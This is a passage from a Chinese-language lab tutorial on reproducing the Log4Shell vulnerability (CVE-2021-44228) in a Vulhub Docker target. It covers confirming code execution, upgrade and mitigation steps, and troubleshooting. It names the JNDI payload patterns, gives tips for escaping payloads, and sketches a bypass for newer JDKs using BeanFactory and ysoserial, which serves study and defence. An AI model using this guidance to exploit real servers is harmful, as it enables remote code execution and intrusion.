验证漏洞利用成功攻击是否最终成功取决于恶意类是否被加载并执行。我们之前构造的Exploit.class会在目标服务器的/tmp目录下创建一个文件。现在我们需要进入运行着漏洞应用的Docker容器内部检查这个文件是否被创建。# 首先查看当前目录下运行的容器ID或名称 docker-compose ps # 假设容器名是 vulhub_log4j2_1进入容器的shell docker exec -it vulhub_log4j2_1 /bin/bash # 进入容器后检查/tmp目录 ls -la /tmp/如果你在/tmp目录下看到了pwned_by_log4j这个文件那么恭喜你你已成功复现了CVE-2021-44228漏洞并实现了远程代码执行RCE。退出容器输入exit即可。这个创建文件的操作证明了攻击者可以在你的服务器上执行任意系统命令。在实际攻击中攻击者完全可以替换成下载木马、植入挖矿程序、窃取数据、反弹Shell建立持久化控制等恶意操作。6. 漏洞修复与缓解措施分析成功复现漏洞让我们感受到了它的威力但更重要的是我们要知道如何防御它。作为开发者或运维人员了解修复方案是必须的。6.1 根本解决方案升级Log4j2Apache官方发布了多个安全版本修复此漏洞最彻底的解决方案是升级到不受影响的版本Log4j 2.17.1(Java 8)Log4j 2.12.4(Java 7)Log4j 2.3.2(Java 6)对于使用Maven的项目在pom.xml中修改Log4j2的版本号即可properties log4j2.version2.17.1/log4j2.version /properties ... dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version${log4j2.version}/version /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version${log4j2.version}/version /dependency升级后Log4j2默认禁用了JNDI Lookup功能并从2.16.0版本开始默认只允许本地JNDI数据源彻底堵死了漏洞。6.2 临时缓解措施如果因为某些原因无法立即升级可以采用以下缓解方案但这些方案可能存在被绕过或影响功能的风险仅作为临时手段修改JVM参数最推荐、影响最小的临时方案 在启动应用的JVM参数中添加-Dlog4j2.formatMsgNoLookupstrue这个参数从Log4j2 2.10.0版本开始引入可以全局关闭Lookup功能。对于2.0-beta9到2.10.0之间的版本有效。移除易受攻击的类简单粗暴 找到Log4j2的核心JAR包如log4j-core-*.jar删除其中与JNDI Lookup相关的类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class此方法可能因Log4j2内部调用而导致未知错误需充分测试。设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue其原理与JVM参数类似但需要应用支持从环境变量读取此配置。使用WAF/防火墙进行流量过滤 在网络边界部署WAFWeb应用防火墙配置规则拦截所有包含${jndi:、${ldap:、${rmi:等模式的请求。这是一种外部防护不能修复应用本身。6.3 安全开发建议从这次事件中我们可以吸取以下教训依赖管理至关重要定期使用工具如OWASP Dependency-Check、GitHub Dependabot扫描项目依赖及时更新存在已知漏洞的组件。最小化攻击面非必要不启用危险功能。像JNDI Lookup这种高风险特性在绝大多数业务场景下都是不必要的。输入过滤与输出编码对所有外部输入保持警惕即使是要写入日志的内容也应考虑进行适当的过滤或编码。但请注意完全依赖输入过滤来防御此类漏洞是非常困难的因为触发点可能非常多。深度防御结合网络隔离、权限最小化应用程序以低权限用户运行、完善的监控告警如检测异常子进程创建、对外网络连接等多层安全措施。7. 复现过程中的常见问题与排查技巧即使是按照步骤操作你也可能会遇到一些问题。这里我总结了一些常见的坑和排查思路。7.1 问题速查表问题现象可能原因排查步骤与解决方案docker-compose up失败提示端口占用宿主机端口已被其他程序占用1. 使用netstat -tulnp | grep :端口号查看占用进程。2. 修改docker-compose.yml中的端口映射如将8080:8080改为8088:8080。发送Payload后LDAP/HTTP服务器无任何连接日志1. Payload未触发日志记录点。2. 网络不通。3. Payload格式错误。1. 尝试其他HTTP头部如X-Forwarded-For,Referer, 或GET/POST参数。2. 检查攻击机IP是否正确确保靶场容器能访问到宿主机的IP可尝试在容器内ping或curl攻击机。3. 检查Payload中的$是否在命令行中正确转义加\或直接使用Burp Suite发送。LDAP服务器有连接但HTTP服务器无请求1. Java版本较高8u191默认禁用了远程类加载。2. 恶意类编译的Java版本与靶场环境不兼容。1.这是最常见的原因Vulhub环境可能使用了高版本JDK。检查容器内Java版本docker exec 容器名 java -version。高版本JDK默认信任范围有限需使用其他绕过方式如利用本地ClassPath中的类。2. 确保javac编译版本与靶场Java版本一致或更低。HTTP服务器收到请求但返回404HTTP服务启动目录不对Exploit.class文件不在当前目录。确认启动Python HTTP服务器的目录下存在Exploit.class文件。进入容器后/tmp/pwned_by_log4j文件不存在1. 漏洞未成功触发原因同上。2. 命令执行失败如权限问题。3. 容器文件系统是临时的。1. 系统回顾攻击链日志确认每一步都走通了。2. 在恶意类中尝试更简单的命令如echo test /tmp/test。3. 检查容器内是否有写/tmp的权限。使用curl发送Payload时$被bash解析在命令行中未对$进行转义。在$前加反斜杠即使用\${jndi:...}。或在Payload前后使用单引号包裹。7.2 高阶技巧与深度排查如果遇到Java高版本8u191, 11.0.1导致的利用失败说明默认的LDAP远程加载类被限制了。此时可以尝试以下方法利用本地ClassPath中的类进行绕过这是更可靠的复现方式。思路是让JNDI引用指向目标服务器本身ClassPath中已有的、具有危险方法的类例如org.apache.naming.factory.BeanFactory结合EL表达式处理器。这需要更复杂的Payload构造通常借助如ysoserial等工具生成。这属于漏洞利用的深入技巧在初步复现时可以暂时通过调整Vulhub环境使用的Docker镜像将其基础Java版本降级到8u191以下例如openjdk:8u102-jre来简化实验。深入查看应用日志进入漏洞应用容器直接查看其输出的日志文件看看Log4j2是否记录了你发送的Payload以及是否有错误信息。docker exec -it vulhub_log4j2_1 /bin/bash # 通常Spring Boot应用日志在控制台或 /var/log/ 下具体看Dockerfile或启动脚本 # 可以尝试查找 .log 文件或使用 find 命令 tail -f /path/to/application.log在另一个终端发送Payload观察日志输出看是否有异常栈信息这能提供最直接的线索。使用网络抓包分析在攻击机或宿主机上使用tcpdump或Wireshark抓包过滤端口1389和8888可以清晰地看到LDAP和HTTP协议的通信过程确认数据包是否按预期发送和接收。复现漏洞的过程本质上是一个调试和验证的过程。遇到问题时耐心地、一步一步地检查每个环节的状态网络、服务、日志、文件是安全研究员必备的素质。通过这次完整的CVE-2021-44228复现你不仅掌握了一个具体漏洞的利用方法更搭建起了一套属于自己的漏洞研究基础环境和方法论。这才是本次实践最大的价值。